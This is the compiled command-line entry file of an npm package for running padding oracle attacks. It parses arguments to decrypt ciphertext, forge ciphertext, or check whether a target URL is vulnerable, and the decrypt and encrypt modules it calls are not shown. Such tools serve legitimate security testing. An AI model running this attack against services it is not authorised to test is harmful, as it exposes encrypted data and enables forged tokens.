UNPKG

padding-oracle-attacker

Version:

CLI tool and library to execute padding oracle attacks easily

190 lines (180 loc) 9.77 kB
"use strict"; var __importDefault = (this && this.__importDefault) || function (mod) { return (mod && mod.__esModule) ? mod : { "default": mod }; }; Object.defineProperty(exports, "__esModule", { value: true }); const fs_extra_1 = __importDefault(require("fs-extra")); const path_1 = __importDefault(require("path")); const minimist_1 = __importDefault(require("minimist")); const chalk_1 = __importDefault(require("chalk")); const decrypt_1 = __importDefault(require("./decrypt")); const encrypt_1 = __importDefault(require("./encrypt")); const response_analysis_1 = __importDefault(require("./response-analysis")); const logging_1 = require("./logging"); const constants_1 = require("./constants"); const argv = minimist_1.default(process.argv.slice(2), { string: ['method', 'header', 'data', 'payload-encoding'], boolean: ['version', 'disable-cache'], alias: { v: 'version', c: 'concurrency', X: 'method', H: 'header', d: 'data', e: 'payload-encoding', 'start-from-first-block': 'start-from-1st-block' } }); const BANNER = fs_extra_1.default.readFileSync(path_1.default.join(__dirname, '../banner.txt'), 'utf-8'); console.log(BANNER); const USAGE = chalk_1.default ` {inverse Usage} {gray $} padding-oracle-attacker decrypt <url> hex:<ciphertext_hex> <block_size> <error> [options] {gray $} padding-oracle-attacker decrypt <url> b64:<ciphertext_b64> <block_size> <error> [options] {gray $} padding-oracle-attacker encrypt <url> <plaintext> <block_size> <error> [options] {gray $} padding-oracle-attacker encrypt <url> hex:<plaintext_hex> <block_size> <error> [options] {gray $} padding-oracle-attacker analyze <url> [<block_size>] [options] {inverse Commands} decrypt Finds the plaintext (foobar) for given ciphertext (hex:0123abcd) encrypt Finds the ciphertext (hex:abcd1234) for given plaintext (foo=bar) analyze Helps find out if the URL is vulnerable or not, and how the response differs when a decryption error occurs (for the <error> argument) {inverse Arguments} <url> URL to attack. Payload will be inserted at the end by default. To specify a custom injection point, include {underline \{POPAYLOAD\}} in a header (-H), request body (-d) or the URL <block_size> Block size used by the encryption algorithm on the server <error> The string present in response when decryption fails on the server. Specify a string present in the HTTP response body (like PaddingException) or status code of the HTTP response (like 400) {inverse Options} -c, --concurrency Requests to be sent concurrently [default: 128] --disable-cache Disable network cache. Saved to [default: false] poattack-cache.json.gz.txt by default -X, --method HTTP method to use while making request [default: GET] -H, --header Headers to be sent with request. -H 'Cookie: cookie1' -H 'User-Agent: Googlebot/2.1' -d, --data Request body JSON string: \{"id": 101, "foo": "bar"\} URL encoded: id=101&foo=bar Make sure to specify the Content-Type header. -e, --payload-encoding Ciphertext payload encoding for {underline \{POPAYLOAD\}} [default: hex] base64 FooBar+/= base64-urlsafe FooBar-_ hex deadbeef hex-uppercase DEADBEEF base64(xyz) Custom base64 ('xyz' represent characters for '+/=') --dont-urlencode-payload Don't URL encode {underline \{POPAYLOAD\}} [default: false] --start-from-1st-block Start processing from the first block instead [default: false] of the last (only works with decrypt mode) {inverse Examples} {gray $} poattack decrypt http://localhost:2020/decrypt?ciphertext= hex:e3e70d8599206647dbc96952aaa209d75b4e3c494842aa1aa8931f51505df2a8a184e99501914312e2c50320835404e9 16 400 {gray $} poattack encrypt http://localhost:2020/decrypt?ciphertext= "foo bar 🦄" 16 400 {gray $} poattack encrypt http://localhost:2020/decrypt?ciphertext= hex:666f6f2062617220f09fa684 16 400 {gray $} poattack analyze http://localhost:2020/decrypt?ciphertext= {inverse Aliases} poattack padding-oracle-attack `; const { version, method, H: headers, data, concurrency, e: payloadEncoding = 'hex', 'disable-cache': disableCache, cache, 'start-from-1st-block': startFromFirstBlock, 'dont-urlencode-payload': dontURLEncodePayload } = argv; const VALID_ENCODINGS = ['hex-uppercase', 'base64', 'base64-urlsafe', 'hex']; const DEFAULT_BLOCK_SIZE = 16; const toBase64Custom = (buffer, [plusChar, slashChar, equalChar]) => buffer .toString('base64') .replace(/\+/g, plusChar || '') .replace(/\//g, slashChar || '') .replace(/=/g, equalChar || ''); const hexToBuffer = (str) => Buffer.from(str.replace(/\s+/g, ''), 'hex'); const b64ToBuffer = (str) => Buffer.from(str.replace(/\s+/g, ''), 'base64'); function strToBuffer(input, fromPlain = true) { if (input.startsWith('hex:')) return hexToBuffer(input.slice('hex:'.length)); if (input.startsWith('base64:')) return b64ToBuffer(input.slice('base64:'.length)); if (input.startsWith('b64:')) return b64ToBuffer(input.slice('b64:'.length)); if (input.startsWith('utf8:')) return Buffer.from(input.slice('utf8:'.length), 'utf8'); if (fromPlain) return Buffer.from(input, 'utf8'); throw Error('Input string should start with `hex:` or `base64:`/`b64:`'); } async function main() { const [operation, url] = argv._; const [, , thirdArg, fourthArg, paddingError] = argv._; if (version) { console.log(constants_1.PKG_NAME, 'v' + constants_1.PKG_VERSION); return; } const isEncrypt = operation === 'encrypt'; const isDecrypt = operation === 'decrypt'; const isAnalyze = ['analyze', 'analyse'].includes(operation); const blockSize = Math.abs(isAnalyze ? +thirdArg : +fourthArg) || DEFAULT_BLOCK_SIZE; const requestOptions = { method, headers, data }; const cipherOrPlaintext = String(thirdArg); if ((!isEncrypt && !isDecrypt && !isAnalyze) || !url || Array.isArray(method) || Array.isArray(concurrency) || Array.isArray(data) || (!isAnalyze && (!cipherOrPlaintext || !blockSize || !paddingError))) { console.error(USAGE); return; } if (!url.startsWith('http://') && !url.startsWith('https://')) { console.error(chalk_1.default `{red Invalid argument:} <url>\nMust start with http: or https:`); return; } if (!isNaN(paddingError) && (paddingError < 100 || paddingError > 599)) { console.error(chalk_1.default `{red Invalid argument:} <error>\nNot a valid status code`); return; } if (!VALID_ENCODINGS.includes(payloadEncoding) && !payloadEncoding.startsWith('base64(')) { console.error(chalk_1.default ` {yellow.underline Warning}: ${payloadEncoding} is unrecognized. Defaulting to hex. `); } if (!isDecrypt && startFromFirstBlock) { console.error(chalk_1.default ` {yellow.underline Warning}: Can only start from first block while decrypting. `); } if (data && !String(headers).toLowerCase().includes('content-type:')) { console.error(chalk_1.default ` {yellow.underline Warning}: \`--data\` argument is present without a \`Content-Type\` header. You may want to set it to {inverse application/x-www-form-urlencoded} or {inverse application/json} `); } const isDecryptionSuccess = ({ statusCode, body }) => { if (!isNaN(paddingError)) return statusCode !== +paddingError; return !body.includes(paddingError); }; const transformPayload = (payload) => { const urlencode = dontURLEncodePayload ? (i) => i : encodeURIComponent; if (payloadEncoding === 'hex-uppercase') return payload.toString('hex').toUpperCase(); if (payloadEncoding === 'base64') return urlencode(payload.toString('base64')); if (payloadEncoding === 'base64-urlsafe') return urlencode(toBase64Custom(payload, '-_')); if (payloadEncoding.startsWith('base64(')) { // base64 with custom alphabet. like "base64(-!~)" const chars = payloadEncoding.slice('base64('.length).split(''); return urlencode(toBase64Custom(payload, chars)); } return payload.toString('hex'); }; const isCacheEnabled = !disableCache && cache !== false; const commonArgs = { url, blockSize, isDecryptionSuccess, transformPayload, concurrency, requestOptions, isCacheEnabled }; if (isDecrypt) { await decrypt_1.default(Object.assign(Object.assign({}, commonArgs), { ciphertext: strToBuffer(cipherOrPlaintext, false), startFromFirstBlock })); } else if (isEncrypt) { await encrypt_1.default(Object.assign(Object.assign({}, commonArgs), { plaintext: strToBuffer(cipherOrPlaintext) })); } else if (isAnalyze) { await response_analysis_1.default(commonArgs); } } main().catch(logging_1.logError); //# sourceMappingURL=cli.js.map